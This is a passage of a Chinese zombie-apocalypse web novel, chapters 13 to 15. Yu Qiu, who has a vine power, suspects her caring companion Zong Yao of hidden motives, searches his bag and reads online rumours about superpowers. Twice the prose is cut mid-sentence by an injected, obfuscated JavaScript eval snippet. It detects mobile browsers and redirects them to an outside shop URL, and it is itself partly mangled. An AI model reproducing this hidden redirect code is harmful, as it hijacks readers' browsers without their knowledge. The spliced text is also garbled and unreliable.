这个人似乎不会累,昨晚凌晨两点才睡,早上六点钟起床,上楼下楼、开车、排队登记、搬行李,做完这么多事,他还能去外面找回这么多东西来。 敌人的精力旺盛对她来说并不是好事,余秋敛下思绪,问他:“你怎么找人帮忙搬的东西?” 宗爻没回头,一边搓洗抹布一边说:“我给他们指了找到煤气罐的位置,作为交换他们帮我把东西抬上来。” “这东西现在很少见了,你从哪里找到的?”余秋继续问。 “唔,我运气比较好,路上碰见几只丧尸,无意间发现了一间卖煤气罐的店。” 听起来没什么问题,余秋试探地问:“就像郑功说的,我们在这里住不了几天,何必这么麻烦。” 宗爻把抹布拧干,挂在窗把手上,随后蹲下来和她一起拆包装,口中说道:“我可以凑合,但天气这么冷,你一个女孩子,又快到经期了,还是得吃点热乎饭菜。” 哪儿来的热乎饭菜? 不对,他怎么知道她经期快到了? 余秋视线从拧得完全不会往下滴水的抹布上落到他的脸上。 宗爻神色自然:“这样比较健康。” 都末世了还追求什么健康? 健健康康的好给他的主子当配件或血包吗? 宗爻不知道她在想什么,见她一直盯着他看,唇角忽然勾起一丝笑意,一闪而过后又看不见了。 一直正经的人难得开起了玩笑:“帅吗?” 余秋:“......”帅个锤子! 她没了继续试探的兴致,站起身道:“我好像还没好全,头有点晕,先回房了。” 宗爻似乎从来没想过让她帮忙做些什么,他总是一副自己一个人能搞定一切的淡定样子,闻言也只是点了点头:“好,你去休息,饭做好我再叫你。” 余秋头也不回地回到房间,本以为他就是煮个面,谁知道没过多久,便听到厨房传来切菜炒菜的声音。 房门关着,她看不见厨房的情景,却清晰听到了锅铲与炒锅碰撞的声音,以及闻到了浓烈的油烟味。 又没有油烟机,在那狭小的厨房炒菜也不怕把自己呛死。 余秋心里咕哝了一句,继续站在窗前观察外面。 从这个方向看过去,正前方一公里外就属于章荣别墅区的范围了。 一条小河自南向北缓慢流过,沿河种的一排柳树叶子枯萎了,露出后面一栋栋别墅。 三层高的别墅有着辉煌的中式金顶,阴天的傍晚显得黯淡,但能想象出晴天时那一座座屋顶会是多么亮眼。 因为站得高,她能看见别墅区宽阔的道路上有零星车辆驶过,看来有一部分人已经住进里面了。 不管在什么时候,人与人之间都不会完全平等,那些有钱的、有势的,永远比普通人过得舒服多了。 余秋本来是不在意这些差距的,可是一想到或许自己正被那些人中的其中一个觊觎着,她心里就翻涌起了名为愤怒的浪潮。 “笃、笃。” 房门被敲响。 提前察觉到脚步靠近的余秋早已坐回了床边。 “门没锁。”她说。 门打开了一半,宗爻站在门外,那个角度正对着床尾。 他系着围裙,像个勤恳贤惠的良家夫男一般,温柔地喊她:“余秋,来吃饭了。” 14. 第 14 章 米白色的折叠餐桌前摆了两张同色的高凳,一看就是配套的。 余秋在餐桌左边的凳子上坐下,宗爻端着一个盘子走过来,对她说:“先洗手。” 余秋:“......”只顾着生气,确实忘了饭前洗手了。 她起身去上了个厕所,洗了手之后出来,宗爻已经把饭菜都盛好了。 等她重新坐下,他把其中一碗米饭推过来,“我用隔水法蒸的,你尝尝和电饭煲煲出来的有什么区别。” 吃饭又不是做阅读理解,难道吃一口还得对比对比,点评点评么? 余秋拿起筷子吃了一口米饭,抬眼看到宗爻正盯着她看,表情似乎挺期待她的答案。 她有些恶趣味地说:“太软。” 宗爻点点头:“那我下次少放点水。” “你再尝尝菜合不合口味。” 桌上两盘菜,一盘番茄炒蛋,一盘蒜蓉炒小油菜。 “你去超市了?”余秋问。 刚才去洗手间时路过了厨房,她看到厨房的地上有一个打开的纸箱,纸箱里面有菜有蛋,甚至还有两盒分切好的黑猪梅花肉,看包装就知道是连锁超市里出来的精品肉。 “嗯。”宗爻说:“菜市场人多,丧尸爆发后早就乱的不成样子了,倒是一些超市因为夜里不营业,又有冷藏柜,食物保存的还算完好。” 家门口的乐嘉超市都快被搬空了,余秋不信章南附近的超市会像他说的那样保存完好,但他不说实话,她也拿他没办法。 只能挨个夹了一筷子,撒气一般恶意点评道:“蛋炒得太散,番茄块儿太大,这个油菜太生,我喜欢吃熟一点的。” 其实他的厨艺比她公司食堂做的好吃多了,她吃了那么久食堂都没说过一句难吃,现在这样,无非是因为宗爻的身份。 她和他是对立面的两人,她就是存心气他的。 结果宗爻一点儿都没被气到,还一副‘我知道了下次改进’的样子,反而让余秋有些心梗。 吃了两口,余秋忽然想起屋里还有一个人。 人家对他们热情友善,还曾主动分享食物,结果他们俩在这里吃独食,甚至都没客气地喊别人一声,会不会不太好? 她朝次卧看了一眼,半是费解半是找事儿的说:“你没叫郑功出来吃饭?” 宗爻:“他自己有食物。” “你还吃过别人的鸡爪子呢。”余秋提醒。 “我想他不会介意的。”说是这样说,见她坚持,宗爻放下筷子,认真道:“如果你想让他一起吃的话,我去叫他。” “......”余秋单纯为了挑刺儿,见他真答应了反而有些不知道说什么好了。 看她不说话,宗爻起身,走过去敲了敲次卧的门。 待郑功开门,他发出邀请。 郑功连连摆手:“你们吃你们吃,哥,你出去找物资也不容易,我不能白占你便宜。” 太尴尬了。 等宗爻回来,余秋沉默吃饭,不再说话。 她中午吃了泡面,晚饭就吃不多,本以为两个菜会剩下一个,谁知宗爻胃口竟那么大,足足吃光了两碗米饭和两盘菜,甚至把她碗里剩的那小半碗米也倒进了自己碗里。 余秋在一旁欲言又止。 想说他怎么这么不讲究,又思及现在食物珍贵。 或许他不是不嫌弃她,而是心疼粮食吧。 饭后,宗爻去刷碗,余秋看了看外面渐暗的天色,扭头回了房间。 半个小时后,天已经完全黑了。 宗爻推门进来,一只手里提了个露营灯,一只手端了个浅口瓷盘。 盘子里是一颗削了皮切了块,连芯都去好了的苹果。 苹果旁边摆着一根硅胶柄的水果叉,看上面的卡通图案,应该是儿童专用的。 余秋接过他递来的盘子,拿着那滑稽的儿童水果叉叉了一块送进嘴里。 甜且多汁,是她最喜欢的脆甜富士。 她咀嚼着无核苹果肉,仔细回忆了一下,发现自己从来没有用过这样可爱的专用小餐具,也从来没吃过谁亲手给她处理成这样的苹果。 她记事早,两三岁的事情都还能模糊想起,记忆里父母也曾给过她还算温柔的照顾,却绝不会细致成这样。 不会是攻心计吧,想让她心甘情愿地奉献自己? 想到这里,余秋又觉得这颗苹果没那么甜了,就像邪恶皇后送给白雪的那颗毒苹果一样,外表是好的,内里却淬着毒。 宗爻又在忙了。 他把露营灯搁在她的床尾,从客厅拖进来一个大箱子,拆开后,余秋才从散落一地的零件中看出那是一个金属收纳架。 这东西很重,怪不得要几个人一起抬上来。 房间里没人说话,两个人一个组装收纳架一个吃苹果,金属碰撞声中夹杂着苹果果肉被牙齿咬开的“咔嚓咔嚓”声,听久了,居然能感觉到一丝诡异的和谐。 宗爻干活真的很利落,高两米宽两米的收纳架,他只用了半个多小时就组装好了。 组装好后他拿消毒湿巾整体擦了一遍,询问余秋的意见:“你觉得放在哪边好?” 坐在床尾的余秋左右看了看,指了指他原本放行李的那个墙角。 “好。”宗爻很听话,立刻把一堆行李挪开,将收纳架贴墙放好。 收纳架的位置确定了,他先出去洗了洗手,回来后问她:“困不困?如果你困了,我就明天再弄。” 余秋有点困了,但她觉得起早贪黑的宗爻肯定比她困,所以她尽量睁大眼睛,摇头:“不困。” 就是要让他继续干活,最好累死他! 宗爻不知道她的邪恶心思,闻言便蹲下开始拆早上才打包好的行李。 衣物、食物、生活用品、清洁用品......一样一样的拿出来,一些放进洗手间,一些摆到收纳架上。 都收拾好了,轮到余秋的背包,宗爻却说:“只拿几件常穿的衣服放在外面,其它东西还放在背包里,如果发生什么事,我又不在家,你离开时记得带上背包。” 余秋瞳孔闪了闪。 他这是什么意思?故意这么说,好体现他没有控制她行动的意图吗? 她又不是傻子,才不会信! 但她面上却点点头,很乖巧地“嗯”了一声,表示自己记住了。 “嗯”完宗爻就看了她一眼,眼神似乎有些诧异。 余秋立刻反思,难道是她演得不好? 果然普通人想演好戏太难了,早知道有今天,当初她就学表演专业了。 但现在后悔也没用,余秋只得掩饰一般捂着嘴打了个‘哈欠’,假装困了。 宗爻见状,加快了手中动作,把余秋的背包挂在收纳架最外侧靠近房门的挂钩上,随后道:“天冷,我去烧点水给你洗漱,洗漱完就早点睡吧。” 床边的地上放着那个大保温杯,等他出去,余秋放下吃得干干净净的瓷盘,给自己倒了一杯水。 温热的纯净水冲淡了刚才吃苹果留下的甜味,余秋把盖子拧回去,忽然想到一个问题。 两个人,一张床,怎么睡? 不一会儿宗爻进来了。 余秋张嘴想问,却见他径直朝她走来,越来越近,不过几步,已经越过了她身前的安全范围。 她表情没有什么变化,心中却警惕起来。 他想做什么? “你......”余秋刚要说话,宗爻却骤然停在了她身前。 两人间的距离只有不到四十公分,一个坐着一个站着。 露营灯的灯光还算明亮,坐着的余秋甚至能看清楚他牛仔裤门襟处的走线。 走线精细,针脚均匀细密,这裤子应该不便宜。 裤子的主人忽然弯下腰。 余秋感觉到一股呼吸打在她头顶,温热的气息在她有些凉的头皮上激起细微的战栗。 宗爻因干活脱去了碍事的外套,此时只穿着一件休闲版型的卫衣。 卫衣前头的两根抽绳缠在一起了,随着他的动作,一根金属绳头掉在她额前,触感微凉。 余秋整个人僵住了,蜷在掌心的右手食指在看不见的地方冒出一根嫩芽,蓄势待发。 好在这股气息很快离开。 宗爻直起身,余秋看到他手里多了一个瓷盘,是她刚才顺手放在身后的。 他随后又用另一只手拎起地上的保温杯,转身出去了。 余秋轻轻呼出一口气。 靠,吓死她了! 她还在这里缓和过于激烈的心跳,宗爻已经端着一盆水进来。 他把冒着热气的水盆放在她脚边,又从收纳架上拿来一双崭新的粉色棉拖鞋,对她说:“保温杯灌满了水,等下睡前会放在你床头。” “你现在先洗个脚,我去把洗手间打扫一遍,打扫干净你再进去洗漱。” 余秋:“......”不儿,服务这么周到吗? 活了23年,还是第一次有人给她把洗脚水端到脚边。 她不禁对自己之前的猜测产生了怀疑。 难道他不是被人雇佣来取她器官,而是谁派来保护她的? 但是为什么啊? 总不能是像电视里演的那样,她其实是哪个大佬的私生女,流落在外23年后被寻回,大佬碍于正室不能把她接回家里享福,只能派个又帅又能打、出得厅堂入得厨房、还烧得一手好洗脚水的保镖来保护她??? 余秋在深深的疑惑中脱掉脚上的黑色皮靴,撸掉袜子后试探性探出一只脚尖。 然后就被烫的一哆嗦。 她本想咬牙忍了,又想起自己刚才的猜测,决定试探一番。 于是她低呼一声,引来宗爻后,模仿影视剧里的经典角色——恶毒且无脑的坏脾气大小姐,对着他横眉竖眼道:“水这么烫,你想烫死我啊?!” 宗爻双手戴着一次性橡胶手套,右手还拿着一个亮蓝色的清洁刷。 正在打扫洗手间的他被她的惊呼引来,此时正站在门口,目光落在她脸上,面上的担忧不知为何在她说完那句话后渐渐变成了忍笑的表情。 “......”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343034|199449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>好了,她知道自己又演砸了。 演戏真的好难,余秋有些委屈,对宗爻摆摆手:“没事,你忙你的,我等水凉一点再洗就好了。” “哦。”宗爻应了一声,“那你有事再喊我。” 他转身走了,说话的声音和背影看起来都很正常。 但余秋莫名就是觉得他在笑。 她把脚伸进拖鞋,走到收纳架旁,在日常用品那一格里找到了一面折叠的小镜子。 对着镜子试图还原一下自己刚才的表情,发现她以为的横眉竖眼,简直被她做成了挤眉弄眼。 这谁看了会害怕啊?不笑都是在给她面子了! 失策了,下午应该再练练别的表情的。 深知自己的形象可能已经遭到了破坏,余秋决定接下来都保持高冷,尽量挽回一下她在宗爻心里的形象。 不挽回不行啊,自古就有奴大欺主这个词,现在都末世了,她要是不支棱起来,就算有‘无名大佬’的命令,宗爻说不定也会在日渐相处中看扁她的。 为了不被看扁,洗完脚后余秋保持着高冷的姿态去洗手间洗脸刷牙。 洗手间里也挂着一盏露营灯,关上门后余秋提起来研究了一下。 是充电式的,开低亮度模式的话,充一次电能用近20个小时,也不知道宗爻是从哪里找来的。 她常用的牙膏和洗面奶都已经摆放在合适的位置,之前还光秃秃的墙上多了一排挂钩,可能是给她挂衣服用的。 没有热水器很不方便,洗澡先不说,光洗脸就挺费事的。 现在天冷水凉,她的经期又快到了,没想到宗爻如此贴心,居然用干净的水盆给她兑了一盆温水放在盥洗池里,一旁的刷牙杯里也装满了水,探手一摸,竟也是温热的。 余秋内心顿时生出许多复杂的情绪。 等她换上睡衣后再出来,就发现宗爻已经铺好了床。 下午搬回来的那些东西里有一张行军床,折叠起来时不占什么空间,展开后也没多大。 宽度只有60cm,长度190cm,余秋目测了一下宗爻的身高,怀疑他睡上去如果不把脑袋顶到底,估计还得露出半个脚来。 这也太憋屈了。 还好不是她睡。 余秋本来对两人睡在一间屋子里还有些抗拒的,看完他的这张小床,心理又平衡了。 他都这么可怜了,总不能把人撵去客厅吧? 她倒是想撵,又怕做得太绝逼得宗爻撕下这副温柔体贴的伪装,到时候受罪的反而是自己。 宗爻铺好床就去洗漱了,等他回来时余秋已经钻进了被窝。 她没脱内衣也没脱睡衣,反正夜里冷,现在又没空调暖气,就当多盖了一层被子吧。 同样换上了睡衣的宗爻关掉已经挪到收纳架上的露营灯,就着窗外的微弱光线走到他的小床边。 他脱了鞋往上一躺,余秋就听到那床发出“咯吱”一声。 “噗。”她把脸埋进被子里,偷偷笑了一下。 宗爻似乎没听见这声笑,侧头看着窗户说道:“明天的早饭可能比较简单,上午我出去找一幅窗帘回来,你有没有想吃的?中午可以做给你吃。” 他的床就横在余秋的床尾处,刚好挨着窗户。 虽说窗户关严了,但单层的玻璃窗起不到完全隔绝冷空气的作用,靠近窗户的位置还是比别处冷一些。 而且明天早上的第一缕阳光一定会第一时间照在他脸上,根本睡不了懒觉。 余秋就不一样了,平时不上班的时候,她恨不得睡上一整天,早上根本不想起床。 于是她说:“我不吃早饭。” “不吃不行,”宗爻在这一点上很强硬:“你这么瘦,不吃早饭容易低血糖。” 余秋在被子底下捏了捏自己的胳膊,觉得也没有很瘦。 她身高165,体重100斤,跟她身高体重差不多的女同事,整天还嚷嚷着减肥呢。 她虽然不减肥,但也不至于少吃一顿早饭就低血糖吧? 而且就算低血糖又怎么样,和他这个蓄谋接近她的人有什么关系? 他这么用心给她做饭,连饭后水果都考虑到了,不会就是为了把她的身体养好后好给他的雇主进行移植吧? 摸不清他的真实目的,余秋只好连猜带蒙,反反复复地怀疑。 这个猜测又令她不高兴了,于是故意为难道:“吃早饭也行,但我中午想喝鱼头豆腐汤,你能弄来么?” 宗爻沉默了一会儿,“可以。” 余秋觉得他在吹牛,先不说去哪儿弄鱼,光是豆腐就不可能找来。 豆腐是很容易变质的食材,对存放条件也是有要求的。 这都是出事的第六天了,又断了电,就算是超市也不可能还有没变质的豆腐。 总不能末世了还有人兢兢业业的做豆腐出来卖吧? 房间里多出一个不熟悉的男人,余秋本来应该睡不着的。 但可能是太期待明天中午的打脸环节,她闭上眼在脑中想着事,居然不知不觉就睡熟了。 15. 第 15 章 一大早,还没睡够的余秋就被喊了起来。 她睁开眼,看到宗爻端着一杯热牛奶站在床边。 余秋:“......”怎么还真的喊她起来吃早饭啊,用不用这么严厉? 她不情不愿地坐起来。 宗爻将牛奶递给她,见她满脸写着不高兴,垂眸哄道:“喝完可以再睡一会,我等下要出去,你起来把房门锁好。” “让郑功锁就好了啊。”余秋带着一点起床气说道。 宗爻:“我说的是卧室的门。” 余秋接住杯子的手一顿,人也清醒了过来。 原来他并不信任郑功么? 人家可是他的小迷弟,这个人居然这么多疑! 牛奶只是温热,余秋一口气喝完了大半杯,把杯子递回去:“知道了,我会锁好的。” 宗爻转身欲走,听到她在他身后强调:“记得鱼头、豆腐!” 她早饭都吃了,这个人如果食言,她一定会狠狠嘲讽他的! 人走了,余秋出去上了个厕所,回来后反锁好卧室门,人又躺回了床上。 但她并不是为了睡回笼觉。 又等了一会儿,察觉到外边再无动静,连郑功也出门去了,余秋重新起身。 宗爻的背包和他早起叠好的被子一起放在床上。 包和她的那一个是同款,应该是他一起从商场里找的。 看着那叠的过于规整的被子,余秋已经确认他一定当过兵。 可能是退伍了,所以没有叠成太标准的‘豆腐块’,也可能是他不想让她察觉,所以刻意叠的松散了一些? 但余秋看着那平整的转角,普通人谁会这样叠被子啊?又没有强迫症! 她才不会被蒙骗过去。 余秋没有挪动背包的位置,只是小心地拉开拉链,把背包口敞开一点,凑近往里看。 最外面是一条裤子和两件适合穿在外套里的上衣,下面的东西被挡着,想要看清楚,要么把衣服拿出来,要么把手伸进去。 余秋没敢乱动。 她是看过电影的,身手好的人侦查意识应该都很强,万一哪个东西的位置弄错了,很可能就被发现了。 她想了想,拉上背包主仓的拉链,又挨个检查前袋和侧袋。 前袋里装了一些零碎的小东西,如折叠小剪刀、迷你手电筒、薄荷润喉片等,其中一枚小小的U盘吸引了余秋的视线。 她凭直觉猜测这里面肯定有相当重要的内容。 但她的笔记本电脑放在公司了,用手机读取的话需要专门的转接头,她手边当然是没有的。 既然不能立刻读取,余秋便没有动,只是记下了U盘的样子。 两边的侧袋都打开看了,余秋在右边的侧袋里找到了一把小巧的匕首,手柄和刀鞘都是迷彩色的,更加佐证了她的猜测。 但她没从里面找到最能够证明身份的证件,不免有些失望。 宗爻的网友身份是假的,那他的名字呢,会不会也是假的? 还有年龄,虽然外表看起来很年轻,但余秋总是从他身上感受到一种格外成熟的气质,说不定他比她大好多岁,只是脸长得比较嫩? 当然,也没有那么嫩。 皮肤虽然光滑紧致,却是一看就经历过风吹日晒的小麦色。 而且她注意到他的手。 虎口、掌心、乃至指关节处,都有明显的茧子。 这是一个曾经受过专业训练的战士。 余秋暗自警告自己,不要把他当成自己的同龄人对待,他的心智只会更加成熟,头脑也绝不像她以前接触过的普通年轻人那般简单。 把拉链复原,没什么收获的余秋离开行军床范围,走到窗前看了一眼。 今天还源源不断有人赶来,避难所外面热闹极了,只是因为她的这栋楼在昨天就住满了,没人往这边来,才显得有那么一点清净。 远处的别墅区里也是车来车往,如果章城还活着的有钱或者有权势的人都汇聚到这里,也不知道这几十栋别墅能不能住下? 这个问题当然轮不到她来操心,余秋关上一早被宗爻打开透气的玻璃窗,回到了自己的床边。 她从枕头底下摸出手机,解锁后先过了一遍微信里的新消息。 校友群里在国外的同学,从丧尸爆发后的第二或第三天就没再发过言。 这也正常,丧尸爆发的时间是固定的,对国内来说是爆发在夜晚,但对于西半球来说,却正好处于白天。 周末两天正是公共区域人流量最大的时候,可以想象对于西方国家来说,那会是怎样的天崩开局。 而对于一些岛国和半岛国家来说,因为地理原因和人口密集度等问题,他们要面临的情况或许比华国要严峻得多。 至于那些国力不够强盛,科技也不够发达,却偏偏人口爆炸的地区,只能祈祷他们能够撑得久一些,撑到这些大国腾出手来,有余力帮助他们吧。 微信里没找到有价值的消息,余秋转到社媒,发现新发布的视频和笔记充满了血腥和暴力,她才刷新几下,就看到了包括丧尸吃人、怼脸拍摄丧尸尸体、社区内的小超市门被砸开,老板被人用刀捅伤,奄奄一息等等诸如此类的视频。 最让她愤怒的是,她居然刷到了一个入室抢劫的视频。 抢劫者破门而入,制住了这家的男人,对家里的母女两人上下其手,污言秽语不断。 那女孩儿看起来不过十来岁,害怕地躲在母亲身后,眼泪淌了满脸。 视频好像是刚发的,余秋刷到的时候评论数量才不到十个,点进评论区却一下子刷新出数百个评论,都是在大骂拍摄者禽兽不如的。 有人艾特起各地警务部门的官方号,很快,余秋还没把评论拉到底,这个视频已经被下架,该账号直接封禁。 看来还是有网警在坚持工作的,只是可能效率太低,网友们又太过疯狂,所以只能捡要紧的管。 余秋放下手机,闭上眼平复了半天,才勉强把被那个视频激发的怒火压了下去。 她相信那些在灾难中狂欢,借着这个机会释放心中的恶念,把屠刀挥向同类的禽兽,都不会得到善终。 他们一定会死,而且死得很惨。 这样默念了好几遍,余秋才重新睁开眼。 不敢再刷社媒,她转而打开一个用户活跃度很高的互动型论坛。 在搜索框里打下特殊能力、超能力、异能等字眼,还真搜到了一些东西。 排除以往的一些讨论,只看近期,余秋点进最火的那个帖子。 起因是一个人在论坛里发帖,说自己拥有异能,徒手团火球,张嘴能喷火。 底下大部分人都不信,但也有一些人附和说自己力气变大了,跑得更快了之类的。 本来是没多少人当真的,偏偏没过多久原贴就被删了,那几个账号也被封禁了。 这是网警才能做到的。 这一下可炸开了锅。 看过帖子的人都觉得,如果事情不是真的,网警干嘛要删帖加封禁呢?这不是此地无银三百两么? 余秋点开的这个帖子,主楼就是这样分析的,底下不少人附和。 大家纷纷猜测,是不是真像小说里写的那样,病毒不但会把人变成丧尸,还能催发人体潜能,让普通人变成异能者。 里面有广阅网络文学的人,总结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343035|199449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几点可能性。 一是病毒不是病毒,而是潜伏在浓雾里的一种外星生物,进入人体后会汲取人的血肉作为养分,把人体当做繁衍的温床,丧尸在它的操纵下渴望新鲜血肉,是在为繁衍提供更多的养料。 至于暂时没有变成丧尸的人,可能是身体内的外星生物还没孵化。 二是这一切都是漂亮国干的,他们研究出新的生化武器,全球投放,就是为了把除了漂亮国外的其他国家都搞死,好独霸全球。 如果是这样,漂亮国肯定有解除丧尸病毒的疫苗,他提议国家高层能去和漂亮国谈判,把疫苗套到手。 他提出的第三点,是进化论。 病毒其实不是病毒,而是星球产生的一种促进全球进化的能量,只是因为这能量的浓度太高,许多身体弱的人承受不住,只有身体足够强壮,或者极具天赋的人,才能完全吸收这种能量,进化成异能者。 这层楼下面有人赞同也有人反对,余秋因为没看过什么网文,只能通过自己的感受排除掉第二种,至于第一种和第三种,她居然觉得有些道理? 下面没找到什么更有价值的信息,余秋退出这个帖子,发现刚才在楼里分析的那个人,居然单独开了一个帖子,讨论异能的种类及修炼方法。 他说,以他多年的看文和网游经验,一般来说身体强化类,如力气增长、速度变异、视力听力增长这一类,应该是异能里面最底层的存在。 稍微好一些的,是普通的金木水火土这类五行异能,上限高,但初期杀伤力一般。 而真正的大杀器,还要属风雷冰之类的变异异能,或是精神系、黑暗系、光系这一类万中无一的特殊异能。 看到这里,余秋不免有些失望,这么说她的藤蔓就属于最普通的木系? 她继续往下看。 介绍完异能的各个种类后,这个人还说,只要是能力,就一定能够通过锻炼增长升级。 他列出了好多种修炼方法,什么让自己身处险境激发潜能啦,什么通过吸收丧尸晶核提升异能等级啦,什么修炼道家功法打通经脉啦,反正看着都挺唬人的。 不过底下有人评论,说自己身边刚好有一具丧尸尸体,听了他的话把丧尸脑子敲开,在里面找了半天也没找到晶核。 余秋:“......”看来这人的经验也不可尽信。 她不敢看了,怕看多了自己反而走上歧路。 刚好手机也快没电了,她从收纳架上拿了一个充电宝,给手机充上电。 她自己则盘腿坐在床上,指尖放出一寸藤蔓尖尖,试图和它产生交流。 但不管她用心声,还是说话,藤蔓都没有丝毫动静。 在她指尖待久了,甚至还想往回缩。 这怎么行,它一缩,余秋就逼它长出更多,渐渐的,藤蔓犟不过她,不再往回缩了。 余秋手指对准收纳架上的一瓶矿泉水,试图控制藤蔓把水卷过来。 和之前当做鞭子挥击不一样,这需要更深的控制,还需要藤蔓顶部拥有带动物体的力量。 她尝试了好几次,藤蔓总是缠在矿泉水瓶子上就软哒哒的往下滑落,根本无法卷住光滑的瓶身。 余秋不信邪,她跳下床去,离得近一些再试。 这回倒是在瓶身上缠了好几道,只是她刚试图收回,藤蔓就嗖一下回来了,瓶子没跟着回来,反而掉到了地上。 好在是塑料瓶,放的也不高,才没摔破。 余秋把水瓶捡起来,再想驱使,藤蔓却又磨磨唧唧不肯出来了。 余秋沮丧了一会儿,忽然灵光一闪。 有没有一种可能,她觉醒的根本就不是一个攻击技能啊?